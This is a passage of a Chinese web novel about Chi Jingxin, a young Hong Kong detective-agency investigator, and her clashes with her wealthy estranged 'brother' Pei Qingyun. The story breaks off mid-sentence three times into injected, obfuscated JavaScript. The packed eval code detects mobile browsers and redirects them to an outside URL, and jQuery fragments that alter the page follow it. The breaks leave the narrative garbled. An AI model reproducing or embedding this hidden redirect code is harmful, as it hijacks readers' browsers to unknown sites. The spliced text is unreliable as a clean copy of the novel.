“天呐,这栋官邸好大好壮观,澄澄,你变成公主了!”
池镜心打量着眼前的警务处处长官邸,激动得两眼发光。
秦铠澄也很激动:“我们上周才搬进来,这栋房子里面有好多房间啊!我长这么大第一次住这么大的房子!走走走,我带你进去参观一下。”
这会儿秦正业和廖碧云正在一楼的厨房里,亲手给女儿准备生日大餐。听到两个女孩子叽叽喳喳地跑进了屋,他俩笑着出来打招呼。
秦正业:“阿心来啦?”
廖碧云:“茶几上有你喜欢的榛子味玛德琳,快去吃吧。”
两个女孩子像一阵风一样手牵手跑过,池镜心只来得及扔下一句:“谢谢契妈,我们要先参观房子!”
秦铠澄拉着池镜心去了她的卧室,极尽浮夸地介绍道:“当当当当!我的卧室有近二百呎!”
“哇!这也太豪华了!”池镜心发出真心实意的感慨。她现在住的那套房子所有空间加起来也才四百多呎呢。
接着秦铠澄又打开了卧室旁边的房间门:“这是我的书房。我终于有自己的书房了!”
池镜心已经快羡慕哭了:“呜澄澄你也太好命了,全港岛没有几个女生能住上这么好的房子的。”
秦铠澄摆了摆手:“哎呀冷静点宝贝,过几年我爸任期结束,我们还要搬走的。”
池镜心还是很羡慕:“至少你体验过了呀,人活一世重在体验嘛。”
两人参观完房子,又回一楼吃了会儿甜点,秦正业和廖碧云便将生日大餐做好了。
因为秦正业是警务处高层的缘故,为了确保作风廉洁不被人捕风捉影,连女儿的19岁生日都没有办什么派对,只叫了池镜心过来吃顿晚饭简单庆祝一下。
吃饭前,秦正业突然站了起来,对秦铠澄说:“澄澄,从小到大你的生日都过得很简单,是爸爸对不住你。”
秦铠澄有些不好意思地笑了:“哎呀老爸,吃饭呢干嘛突然说这种煽情的话。”
秦正业:“为了补偿你,我和你妈妈偷偷排练了网上很火的那支呆头鹅的舞,现在我们就表演给你看。”
秦铠澄:“哈?!”
池镜心:“哈?!”
两个女孩子二脸震惊。呆头鹅是最近很火的一部动画的主角,非常蠢萌。秦铠澄很喜欢呆头鹅,买了很多相关周边,但她万万没想到,父母会为了她去学那支傻里傻气的呆头鹅舞。
池镜心也万万没想到,她契爷契妈都五十多岁的人了,居然还会学这种年轻人的花名堂来讨女儿欢心。
廖碧云拿来两对用白色纸板做的鹅翅膀,绑到秦正业和自己的胳膊上,然后两位中年人就一本正经地跳起了滑稽可爱的呆头鹅舞。
很快两位中年人就状况百出,互相吐槽:
“哎呀,你踩到我的脚了!”
“是你迈错步子了!”
“你会不会跳!把我翅膀都打掉了!”
“好了好了我给你扶正……”
夫妻俩生疏笨拙的舞技让这只舞更加滑稽搞笑了。秦铠澄被逗得哈哈大笑,两只手一直举着手机录像。一时间警务处处长官邸内弥漫着温馨愉悦的氛围。
为了配合这么好的氛围,池镜心也跟着笑了起来。她笑着笑着,心脏忽然就被一种强烈的难过的情绪给击中了。
在她小的时候,她的母亲池若颐也是一名前途无量的总督察,被称为警队的“明日之星”。那时候她也幻想过,也许未来某一天她母亲会成为港岛有史以来的第一位女性警务处处长,带她住进半山区的豪华官邸。
小时候,她的父母也会一起给她过生日,把她当掌上明珠一样捧在手心。她想当然地以为这样的生活会一直持续下去。
那时候的她无论如何都不会想到,她十二岁那年母亲会因公殉职,父亲会很快就娶新的老婆,拥有新的孩子。
像今晚这样父母吵吵闹闹又不失温馨地一起给女儿过生日的经历,她这辈子都不可能再拥有了。
这顿生日大餐吃到一半,廖碧云忽然问池镜心:“阿心啊,你要不要搬到这里来住啊?这里还有好多空房间,你可以随便挑。”
池镜心还没来得及开口,坐在她旁边的秦铠澄已经欢呼起来了:“好耶!阿心住过来的话我就不无聊了!以后每天早上我们一起下山,你上班,我上学,周末我们一起出去玩……”
池镜心缓缓摇了摇头,说出了自己刚编的借口:“不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036714|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,这里离真姐的事务所有点远,我上班会不太方便。”
“啊?那好吧,那周末你有空就过来住哦。”秦铠澄虽然很遗憾,但还是尊重她的决定。
池镜心低头默默扒着饭。她知道契爷契妈都很关心她,她也很想和澄澄一起住。但她真的不想每天都当别人幸福生活的旁观者。
幸福都是别人的,她什么也没有。
吃完晚饭,又和契爷契妈聊了会儿天,池镜心独自搭乘交通工具回家。斜倚在地铁车厢的角落里,她终于不用再戴着微笑面具了,整个人都丧丧的。
她回想起自己短暂二十年人生里所失去的那些幸福,一会儿脑子里飘过白居易的那句诗——大都好物不坚牢,彩云易散琉璃脆;一会儿又飘过《金刚经》里的偈子——一切有为法,如梦幻泡影,如露亦如电……
直到钟言真给她发了一条消息,才打断了她的文艺病。
钟言真:“明天有空吗?出来干活。”
第二天一早,池镜心就去了钟言真的事务所。
这家事务所全名是“洞烛侦探事务所”,取“洞烛其奸”之意。只是客户们大多数时候都会把“洞烛”两个字看成“虫洞”,开口闭口“你们虫洞blabla”。钟言真表面上礼貌微笑,心里暗骂这些人没文化眼神还不好使。
池镜心来到事务所,钟言真立刻给她交代了新的任务。
港岛有一个叫陈家荣的富老头,前段时间收到了一个匿名信封。信封里有两张照片,拍的是他跟两个年轻女孩子亲密贴脸的画面。
陈家荣找到了钟言真,声称照片中的两个女孩都是他的孙女,从小在法国长大,因此养成了行贴面礼的习惯,一见到他就要贴贴脸。
谁成想竟有人跟踪他,还拍下这种乍一看很让人误会的照片。陈家荣非常生气,拜托钟言真一定要帮他查出拍照的人。
在钟言真的办公室里,钟言真拉着池镜心的手,笑得一脸亲切:“宝贝,这种任务,少不得又要你打头阵了。今晚你跟陈先生一起吃个饭,搞些亲密一点的举动。我跟阿豪会守在附近观察,看看有没有可疑人物在暗中偷拍你们。”
陪富老头吃饭?这种任务一听就很无聊。池镜心有些无语地抽回了手:“怎么老让我接这种牺牲色相的活啊。”
“因为我们整个事务所,只有你有色相啊。”
钟言真伸出手掐了掐她的脸,心里暗暗感叹,年轻就是好,这脸蛋真是水嫩Q弹得不得了,还带点婴儿肥呢。
在钟言真看来,池镜心虽然没有读大学,但她完全可以凭优越的外形条件当个model什么的。也不知道这小孩吃错了什么药,非要来侦探事务所当调查员,整天风里来雨里去,累死累活也挣不到几个钱。
傍晚,池镜心穿着一条小黑裙,挽着银发苍苍的陈家荣的胳膊,走进了中环某家新开的中餐厅。
陈家荣有些紧张兮兮地左顾右盼,恨不得亲自揪出偷拍他的家伙。
钟言真通过微型耳麦提醒池镜心:“阿心你别板着个脸,笑得娇一点,还有你提醒一下陈先生,让他别左顾右盼,抓人的事我们会负责的,他只需要安心吃饭就好。”
池镜心调整了一下表情,巧笑嫣然地凑到陈家荣耳边,装作很亲密的样子跟他耳语:“陈先生,您别左顾右盼了,很容易让人看出端倪的。您安心用餐就好,其他都交给我们负责。”
陈家荣讪笑着点了点头。两人在侍应生的指引下入座。
不远处,裴清昀家的保镖阿锋正一瞬不瞬地盯着池镜心的身影。他今天难得休假,便带着女朋友来这家新开的餐厅约会,谁成想竟见到了自家老板前几天派他寻找却死活没找到的那个女孩子,真是得来全不费工夫。
阿锋立刻拿起手机,给裴清昀打了个电话。
“裴先生,我见到清明那天浩园门口的那个女孩了。”
裴清昀还在办公室里,正准备下班回家。接到这个电话后,他立刻沉声问阿锋:“她现在在哪?”
“在朗月轩,跟一个老头一起吃饭,看起来还挺亲密的。”
裴清昀呼吸一滞,握着手机的手指瞬间用力到泛白。
“看着她,我马上过来。”
裴清昀几乎是咬牙切齿地说出了这几个字。
此刻他脑子里只有一个念头:程!镜!心!你个孽障!我要替契妈打断你的腿!!!
4. 恶劣
池镜心平时吃的都是廉价的两餸饭,今晚来到朗月轩,她的味觉持续被各种高级料理震撼,忍不住埋头狂吃起来。
陈家荣没什么胃口,只看着池镜心风卷残云的吃相叹了口气,有些羡慕地想:年轻人胃口就是好。
钟言真的声音在池镜心耳道里响起:“阿心,你注意一下吃相。你和陈先生现在看起来不像是在约会,倒像是一个饕餮转世的孙女,和一个担心被孙女吃破产的可怜老人。”
池镜心被这话逗得差点笑喷,赶紧抽了张餐巾纸按了按嘴角,竭力让自己看起来斯文一点。
又过了片刻,钟言真的声音忽然严肃起来:“阿心,我和阿豪已经发现了一个可疑目标,需要你帮忙验证一下。你现在喂陈先生吃口东西。”
池镜心立马会意,她拿起调羹,舀了一勺金钩翅,笑眯眯地将调羹递到陈家荣唇边。
“陈先生,麻烦配合一下,张嘴,啊~”
另一边,阿锋已经和女朋友吃完了饭。他让女朋友先行回家,他独自留在朗月轩等裴清昀。
很快阿锋就遥遥瞥见裴清昀的车到了,他立刻迎了上去,亲自给裴清昀带路。
裴清昀跟着阿锋走进朗月轩,隔着不远不近的距离,他正好看到池镜心笑着喂一个糟老头子吃饭的那一幕。
由于这个画面视觉冲击力实在太强,裴清昀只觉得脑子里轰隆一声响,仿佛从天而降一道巨雷,将他的头盖骨劈了个四分五裂。
他眼前一黑,差点一口气没倒上来。
裴清昀强压下想要杀人的冲动,快步朝池镜心走去,沉着脸叫出了她的名字:“程镜心!”
池镜心偏过头,看到裴清昀正朝自己走来,完美的建模脸上阴云密布,周身的低气压预示着一场即将到来的狂风暴雨。
池镜心有些诧异,但她很快咧嘴一笑,云淡风轻地回道:“你认出我来啦?不过我现在改随母姓了,请叫我池镜心,谢谢。”
听到这话,裴清昀的第一反应是:随母姓?你个混账东西也配随母姓!也不怕玷污了你母亲的清名!
“你出来一下,我有事要找你谈谈。”裴清昀走到她身侧,冷眼俯视她。
“我这会儿有正事要忙,加个联系方式,回头再聊,行不?”池镜心一边说一边拿起了手机。
她抬眼看向裴清昀的目光无辜又清澈,却成功让裴清昀的怒火烧得更旺了,他恨不得掐着她的后脖子质问她:你所谓的正事就是陪一个年纪起码是你三倍大的糟老头子吃饭?!
裴清昀深吸了一口气,强行将怒气压了下去,一字一顿道:“现在就谈。”
池镜心有些不耐烦地伸手去推他:“哎呀你别杵在这,别吓到我的客户了。”
她口中的客户陈家荣一脸茫然地看着他俩,完全搞不清楚这是什么状况。
客户?裴清昀气得眼前一阵阵发黑,此刻他想为池若颐女士清理门户的心情达到了巅峰。
就在这时,钟言真的声音通过微型耳麦再次在池镜心耳道里响起。
钟言真:“阿心,可疑目标已离开餐厅,我和阿豪现在要去跟踪他,你的任务已经完成了。”
听到钟言真这么说,池镜心松了一口气,转头笑嘻嘻地跟陈家荣说:“陈先生,今晚就到这里啦。我还有事,先走一步。”
陈家荣听她这么一说,立刻懂了这是不用再演戏了的意思,他点头应道:“好,你忙去吧。”
池镜心站起身,拽着裴清昀的胳膊往外走。
裴清昀冷着脸,任由她将自己拽到餐厅外。
此时外面已经夜色浓重,池镜心寻了个人少的角落,和裴清昀面对面站着。
她傲娇地抬起下巴质问他:“你到底想跟我谈什么?”
“你和那个老头是什么关系?”
池镜心愣了一瞬,她看着裴清昀那双强压着怒气的琥珀色眼睛,忽然觉得很有意思。
自从上次被拒稿,她心情一直不怎么好,正想找点乐子改善下心情,眼下这不就是送上门来的乐子吗?
她轻轻一笑,天性里恶劣的那一部分如春天的种子,疯狂发芽生长。
“什么关系?金钱关系咯。他给我钱,我陪他吃饭,也可以做别的,不过那是另外的价钱。”
池镜心得意洋洋地看着裴清昀,笑得毫无廉耻。
她没觉得自己说错了什么,陈家荣出钱请他们调查偷拍一事,她为了查出真相陪陈家荣吃饭,这确实就是金钱关系嘛。至于眼前这位多年不见的便宜哥哥会把这句话理解成什么意思,那是他自己的问题。
他要是想歪了,那就是他淫者见淫,反正不关她的事,她还是清清白白的好阿心。
裴清昀前一刻还怒火滔天,现在看到她这样恬不知耻的样子,他心中愤怒的岩浆喷涌,冷却,凝固成悲哀的黑色玄武岩,沉重地压在他心头。
迎着裴清昀那沉重、悲哀的目光,池镜心都快爽死了。让你不买我的酒,让你从小就在我妈面前跟我争宠,姐玩不死你!
裴清昀沉默了片刻,又问:“你为什么没去加拿大?你父亲不是带着全家移民加拿大了吗?”
池镜心歪了歪头,吊儿郎当地回道:“关你什么事?咱俩都多少年没见过面了,你干嘛突然冒出来,装作一副很关心我的样子?你不会也想跟我发生点金钱关系吧?看在是熟人的份上,我可以给你打个折。”
说完,池镜心的眼睛一瞬不瞬地盯着裴清昀的脸,无比兴奋地期待对方的反应。她就是个天生的恶劣胚子,她说的每一个字都是冲着气死裴清昀去的。
裴清昀闭上眼睛深吸了一口气,他气得指尖都在微微颤抖。
“给你爸打个电话,我有话要跟他说。”
“干嘛?”池镜心眨了眨眼睛,“要跟我爸告我的状啊?不是吧,你都多大的人了,还来这招。”
“你爱打不打,”裴清昀倏然睁开眼,看向她的目光冰冷而嫌恶,“我已经派人去加拿大找你爸了,早晚能搞到他的联系方式。你在港岛干的这些破事,别以为能瞒住他。”
“哦哟,我怕你啊?”池镜心依然是一副混不吝的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036715|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
态度,将小太妹的做派学得活灵活现。
她掏出手机,满不在乎地翻出她父亲的联系方式,拨打了过去。
“不用那么麻烦,我现在就给我爸打电话,我倒要看看你能跟他说些什么。”
过了十几秒钟,电话终于接通。程文睿的声音从手机里传来,带着些许不耐烦。
程文睿:“大清早的给我打电话做什么?”
这会儿多伦多的时间是清晨八点。
池镜心的声音也带着些许不耐烦:“我遇到阿昀了,他让我打的,他说他有话要跟你说。”
说完她就将手机往裴清昀面前一递,微微仰起的脸上一派桀骜不驯,她觉得自己酷毙了。
但在裴清昀看来,她这副样子叫死猪不怕开水烫。
裴清昀接过手机,清了一下嗓子才开口:“喂,程叔,我是阿昀。”
程文睿的语气立刻和缓了不少:“哦阿昀啊,真是好久没联系了,你找我是想说什么?”
裴清昀:“我最近遇到阿心了,她为什么还留在港岛?”
程文睿:“她啊,她不想来加拿大,我也管不住她,就随她去了。”
裴清昀:“程叔,我发现阿心现在的私生活特别混乱,前几天她还被警察给当街逮捕了。您应该把她接到加拿大去,好好管教她,不可以再放任她继续堕落下去了,不然早晚有一天她会出大事。”
程文睿:“这个……我最近太忙了,走不开。”
裴清昀:“那我派人把她送到加拿大去,你把住址发我就行。”
程文睿犹疑了片刻:“阿昀啊,我这里暂时没有多余的房间给她住。而且你知道的,她从小脾气就怪,跟她继母和弟弟处得也不好。她来了家里又要鸡飞狗跳了。”
裴清昀的脸色已经难看到不能更难看了,声音也冷得能把空气冻出冰碴:“所以您不打算管她了是吗?”
程文睿还是那副礼貌而敷衍的语气:“不好意思啊阿昀,我儿子今早发烧了,我这会儿急着送他去医院。阿心那边我实在顾不过来,你有空的话你替我管管她吧,不说了啊我挂了。”
程文睿话一说完就迅速挂断了电话,动作快得好像躲瘟神一般。
裴清昀心底积压的怒火再一次喷发。这世上竟有这样当爹的!他被怒火激得有一瞬间情绪失控,一把将手机狠狠摔到了地上。
他看着被摔得四分五裂的手机尸体,理智又在一瞬间回笼。等等……这不是他的手机。
池镜心也看着地上的手机尸体,愣了一秒,然后瞬间暴怒。
她像一头小花豹一样猛扑上去掐裴清昀的脖子,边往死里掐边破口大骂:“那是我的手机!你神经病啊!在我面前装什么霸道总裁!我看你是寿星公吊颈——嫌命长!”
一直跟在裴清昀左右的保镖阿锋见状,赶忙上去解救自家老板,一边拉池镜心的胳膊一边好声好气地劝:“冷静点啊妹妹仔,他会赔你的,他超有钱,肯定会赔你的……”
一时间场面混乱得如同狗场一般,充斥着暴力与狂吠。
5. 回家
从商场里出来,池镜心脸色始终不怎么好看。
她手里拿着裴清昀刚赔给她的新手机,跟她被摔碎的那个同品牌,最新款,最高配置。尽管如此,她还是在记仇本上给裴清昀又重重记上了一笔。
裴清昀脸色也不怎么好看。他看了一眼时间,已经晚上九点多了。
“不早了,先送你回家。你干的那些破事,以后我还会再找个时间跟你细谈。”
池镜心一脸无所谓的冷漠表情,大摇大摆地上了裴清昀的车,跟个大爷一样歪在座椅里,好像这车是她的,司机保镖包括裴清昀都是她的随从。
还不待司机问,她就主动报出了地址:“明水街31号,唔该。”
裴清昀有些意外:“你不是住天怡花园吗?”
“我爸出国前把天怡花园的房子卖了。”
裴清昀沉默了片刻,微不可闻地轻叹了一口气。他今晚不止被池镜心气得头昏脑涨,也对程叔非常失望。移民不带自己的女儿,还把房子也卖了,连个住所都不给她留,这哪里是人干得出来的事。
有这样不负责任的亲爹,那么阿心的堕落多少也说得通了。想到这里,他对池镜心少了几分不满,多了几分同情。
再开口时,他语气都和缓了不少:“回去早点休息,明天周三,你应该还要上课吧?现在读大几了?”
池镜心瘫在后座上,缓缓露出一个得意的欠抽的微笑,懒洋洋道:“上课?我都多少年没上过课了。我压根就没考上大学。”
裴清昀:“……”
刚刚产生的那几分同情转瞬间荡然无存。
裴清昀自幼接受精英教育,身边的亲友都是一路名校读出来的,在他的世界里,就不存在考不上大学这回事。
他深呼吸了几口气,忍了又忍,还是没忍住问了一个没有意义的问题:“为什么没考上?”
池镜心单手支着头,津津有味地欣赏他的反应:“还能为什么?还不是因为姐太天才了,世俗的教育根本识别不了我这样的天才人物。”
裴清昀没再说话,他怕自己再跟她多说一句,就会抑制不住把她扔出车窗的冲动。
两人一路无话,没过一会儿司机就将车停到了金玺大厦外。
裴清昀透过车窗玻璃,打量外面嘈杂喧嚣的环境,皱起了眉:“怎么住到深水埗来了?这里太乱了,不适合你这种年轻女孩独居。”
“乱?”池镜心满不在乎地挑了挑眉,“谁还能乱得过我啊?”
裴清昀:“……”
你还挺骄傲是吧?混帐东西。
两人下了车,池镜心刚刚站定,就听到不远处有人叫她:“喂!阿心!”
她转头一看,是事务所的同事——龙仔、阿杰和向思移。
今天这三人也有任务在身,他们仨在负责跟进一桩调查社团人士的委托。为了打入社团内部深入调查,三人都打扮成了混社团的古惑仔和小太妹。
龙仔的脖子上有一大片用纹身贴制造出来的纹身,阿杰用临时染发剂染了一头奶奶灰,向思移脸上粘着假眉钉鼻钉唇钉等物……总之,这三人都在竭尽全力让自己看上去不像好人。
前几天池镜心因为心情不好,便邀请同事们今晚到她家私人天台开party,吃点烧烤,喝点啤酒,改善下心情什么的。因此,今天龙仔、阿杰和向思移一收工,便一起来到了金玺大厦楼下等池镜心。
这三人大概是因为今天扮古惑仔和小太妹扮得太投入,这会儿依然吊儿郎当地勾肩搭背,说话也流里流气的。
龙仔:“我们都等你老半天了,快带我们上楼。”
阿杰:“怎么就你一个人?阿豪不来吗?”
向思移:“送你回来的这帅哥是谁?新客户吗?”
池镜心正要回答,蓦地感到脖子一紧。
裴清昀不知道什么时候绕到了她身后,铁钳般的大手死死掐着她的后颈,脸色森寒,额角青筋暴起:“这帮古惑仔来你家找你做什么?”
毕竟脖子被人掐在手里,池镜心难得乖巧地实话实说:“我们打算开个小party,你要参加吗?”
裴清昀怒气更盛:“你们打算开银趴?!”
池镜心一愣,心想你比我有想象力多了,果然还是有钱人见多识广。
见池镜心愣着不说话,裴清昀当她默认了。他正要发作,不远处的向思移见氛围不对,试图解释:“那个,我们……”
池镜心瞬间回过神来,心中恶劣的种子疯狂生长开花。她的便宜哥哥越来越好玩了,她可还没玩够,岂能这么快掉马。
她不动声色地朝向思移比划了一个手势。这个手势是事务所内部通用的一个暗语,意思是“所有行动暂停,请立刻回避”。
向思移本来想说“我们不是古惑仔”,一见到这个手势,她立刻话锋一转,“我们……有事先走了哈。”
向思移、龙仔和阿杰虽然搞不清楚状况,但跟池镜心一起出过那么多次任务,默契度多少还是有的。三人一溜烟的就跑了,留下池镜心和裴清昀站在原地。
一阵凉爽的夜风拂过,池镜心回头看向裴清昀,咧嘴一笑,带着一点讨好的意味:“要上去坐坐吗?”
裴清昀已经出离愤怒,看到她这个无耻的笑容更是气不打一出来,用手指戳着她的锁骨狂骂:
“坐你个头!!!你是不是忘了你母亲生前是O记的总督察?!你是不是忘了你母亲因公殉职都是这帮古惑仔害的?!你还跟他们一起鬼混?!你不怕半夜你母亲站你床头抽你耳光吗?!”
O记全称是“有组织罪案及三合会调查科”,主要负责打击有组织犯罪和□□活动。池若颐女士生前作为O记的总督察,抓的就是这些违法乱纪的古惑仔。她之所以会因公殉职,也是因为在一次追捕社团人士的行动中出了严重车祸。
因此,池镜心其实非常讨厌混社团的古惑仔,她是万万不可能真跟社团人士有来往的。
眼下听裴清昀提到了自己的母亲,池镜心目光一黯,也没心情逗他玩了,低着头乖乖认了个错:“好了好了,消消气,我不会再跟他们鬼混了。”
池镜心的话在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036716|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
裴清昀这里可信度为零。这帮古惑仔都知道她的住址了,以后上门骚扰她还不是分分钟的事。
他用不容置疑的语气命令她:“上楼,收拾行李跟我走,以后不许住这了!”
池镜心抬头看向他,用最无辜的表情问出最惊悚的话:“你是想跟我开房吗?”
“我想开你的天灵盖!把你的脑子掏出来看看到底是出了什么问题!”
池镜心毫无畏惧地耸了耸肩:“有钱人玩得就是变态哈。”
她转身走进金玺大厦。裴清昀想到什么,也跟着进了楼。
“怎么租了个没有电梯的房子?”裴清昀一边拾阶而上一边问。
“不是租的,这里的房子是我公公婆婆留下来的。”
裴清昀:“……”
家里老人留下来的房子也敢带小流氓进来鬼混,罪加一等!
终于到了七楼,池镜心摸出钥匙开了门,转过头对裴清昀说:“我一个人住,没有多余的拖鞋,你直接进来就行。你要喝点什么吗?”
“不用,赶紧收拾行李,收拾好了我们就走。”
“就这么迫不及待要跟我开房啊。”
裴清昀没搭理她。这一晚上他经受的刺激实在太多,已经或多或少有些麻木了。
池镜心进了卧室,将门反锁上了,她想换身衣服。今天为了假扮成陈家荣的小情人,她穿了一条漂亮的小黑裙。其实她不太喜欢穿裙子,不方便动手打人。她从小学习格斗,最喜欢穿的还是各种宽松舒适方便活动的衣服。
裴清昀一进屋就在打量这套小小的房子,客厅里物品摆放稍显凌乱无序,但还算干净,没看到什么灰尘垃圾。
等池镜心进了卧室,关上了卧室门,他立刻在客厅里四处翻查。
他这辈子从没参加过银趴,但他知道银趴是怎么一回事。各种助兴的违禁药物是少不了的。要是被他发现池镜心在家里藏了毒,那她就死定了。
池镜心换好衣服,想起行李箱放在了书房里,于是她又将卧室门打开。从她的视角,她正好看到裴清昀正背对着她,急切地翻找着什么东西,他右手还拿着一块白色布料。
池镜心冷不丁开口:“你手里拿着我的内衣做什么?”
裴清昀吓了一大跳,好像被烫到一般一把将手里的白色布料扔了出去。这是他刚刚翻看沙发上堆积的物品时顺手拿起来的,他根本都没注意到这是一件内衣。
“我……只是想帮你收拾一下,你屋子太乱了,我不知道……”裴清昀语无伦次地解释着。他做上位者已久,已经很久没这样慌张狼狈过了。
池镜心气定神闲地走了过来,拿起被他扔到沙发上的白色布料,展开一看,并非内衣,只是一条毛巾罢了。
她露出恶作剧得逞的笑容,转头笑嘻嘻地看着裴清昀:“哎呀,我看错了,原来只是一条毛巾。”
裴清昀:“……”
池镜心一脸无辜地眨了眨眼睛:“哥哥,你怎么脸红了?”
只有天知道,此刻裴清昀有多想拿起那条该死的毛巾绞死她。
6. 过去
池镜心随便收拾了下行李,裴清昀家的保镖帮她把行李箱拎下了楼。
两人上了车,安静不了两分钟,池镜心又开始贱不喽嗖地开玩笑:“你不会要把我拉去卖了吧?”
裴清昀冷哼了一声:“你有什么被卖的价值?像你这种社会渣滓,剁碎了拿去施肥都只会污染环境。”
池镜心没生气,反而觉得他的话很搞笑,兀自吃吃地笑了起来。
裴清昀看不惯她这副没脸没皮的德性,偏过头看向窗外的夜色,一路上都没再搭理她。
司机将车开回了裴清昀位于渣甸山的住所。
港岛许多半山豪宅都豪气有余,艺术感不足,但裴清昀的住所是例外。这栋后现代主义象牙白建筑掩映在浓重树荫里,仿佛波涛中涌出的一枚洁白贝壳。
池镜心一下车就开启了刘姥姥进大观园模式,一路上不断发出夸张的惊叹声:“哇,你这房子好大,哇,外立面好有设计感……哇,庭院也好漂亮……你小子品味不错嘛……不对,你能有什么品味,是你找的设计师有品位才对。”
裴清昀一边穿过庭院,一边毫不客气地回怼:“你的词汇量很匮乏,只会哇来哇去,果然不读书就会变成绝望的文盲。”
走进别墅明亮的一楼大厅,裴清昀向闻讯而来的管家介绍池镜心:“这是我亲戚家的小孩,叫池镜心,她会在这里住一段时间,把她的行李箱拿到一楼客房去吧。”
说完他又看向池镜心,板着脸给她立规矩:“今后你住一楼的客房,一楼和庭院你可以随意活动,楼上都是我的私人空间,你不许上来。”
池镜心十分自来熟地往沙发上一瘫,有些不满:“我一个人住一楼啊?我会害怕的。我就不能跟你住一个房间吗?”
裴清昀已经渐渐习惯了她这种不着调的说话方式,面色不改地回道:“害怕的话你就住地下室去,那里人多。”
港岛的独立屋大多将工人房设计在地下室里,负责服务屋主的司机保镖家政人员等都住地下室。
池镜心更加不满了:“你让我住地下室?你把我当什么了?”
“或者你也可以去后院跟阿智一起住。”
“阿智是谁?”
“我养的狗。”
正常来说池镜心应该会感觉到被羞辱了,然后跳起来对着裴清昀破口大骂。
但可惜她不是正常人。她的注意力极其容易跑偏。现在她的注意力已经完全偏移到阿智那去了。
“你养了狗?”池镜心一脸惊喜地看向裴清昀,“什么品种?公的母的?几岁了?我要去找它玩!”
裴清昀:“……”
跟她说个话怎么就这么费劲。
他想起了小时候,他给池镜心辅导过功课。那时候她的注意力就跟脱缰的野马一样,怎么拴都拴不住。给她辅导一次功课能把他气出内伤。契妈说阿心患有ADHD,让他别跟她一般见识。
现在裴清昀也依然选择了不跟她一般见识,只扔下一句“很晚了,早点休息”便上了楼。
池镜心不想睡觉,她想去后院找阿智,但管家把她叫住了。
管家是一位端庄优雅的中年女性,叫温迪。温迪将池镜心带去了客房,询问她有什么需要,第二天要吃什么早餐,又拿了些不同牌子不同香型的洗漱用品让她选。
池镜心随便选了几样就去浴室洗澡了。洗完澡,她已经完全忘记了阿智,只惦记着跟秦铠澄聊天。
“澄澄!我跟你讲,我今天遇到我那个便宜哥哥了!”
视频一接通,池镜心就像一只欢快的哈士奇一样跟秦铠澄倾诉今天的遭遇。
秦铠澄听着听着,忽然皱眉打断了她:“你搬去你那便宜哥哥家住了?”
池镜心心里咯噔了一下。之前契爷契妈让她搬去警务处处长官邸住,她拒绝了,一转眼她就搬到了裴清昀这里,澄澄肯定不开心了。
池镜心眨巴着大眼睛,正要酝酿一下情绪跟秦铠澄赔罪,秦铠澄一脸严肃地先开口了:“你把门牌号发我一下。毕竟你们没有血缘关系,他要是意图不轨怎么办?我记一下地址,以后出什么事了我好帮你报警。”
池镜心瞬间感动得一塌糊涂。呜,世上还是澄澄好,她何德何能配得上澄澄这么好的朋友。
“晚上天太黑,我没留意到门牌号,只知道是在渣甸山这边。明天我去瞅一眼门牌号再发给你。”
“渣甸山?!”秦铠澄瞪大了眼睛,“你那便宜哥哥住渣甸山的?!他什么来头啊?”
秦铠澄从小就听池镜心吐槽过她有一个烦人的便宜哥哥,但并不清楚此人的姓名与背景。
“他叫裴清昀,你可能听说过这个名字,他家还蛮有名的。”
秦铠澄瞬间倒吸一口凉气:“是鼎钧集团的那个裴清昀?!”
“对啊。”
秦铠澄爆发出长达数秒的尖锐暴鸣,继而冲池镜心咆哮:“你不早说!我要是早知道你那个便宜哥哥就是裴清昀,我就让你带我去见见他真人了!”
池镜心满脑袋问号:“他又不是明星,见他干嘛?”
“他长得好看啊!我还给他投过票呢!港岛女性最想嫁男性排行榜,我年年都投他,他年年都排第一。”
“哈?还有这么个排行榜?哪家无聊媒体搞的?”
“哎呀这下我不担心他对你图谋不轨了,我比较担心你对他图谋不轨,阿心你要把持住啊。”
“哈哈哈哈哈哈!”池镜心乐得在床上打了个滚,“澄澄你好神经啊!”
“对了,既然你们从小就认识,那你知道他身上的那些传言都是真的吗?”
“什么传言?”
池镜心平时不怎么看八卦新闻,对城中名流们身上的八卦绯闻都不是很清楚。但秦铠澄却是个八卦新闻爱好者,她立刻一股脑地把有关裴清昀的那些流言蜚语都倒了出来。
“就是他的身世之谜啊。你知道的,港岛这些豪门世家一旦有新生儿诞生,狗仔们都会去跟拍报道的。但裴清昀出生时并没有被报道过,外界一直不知道他的存在。
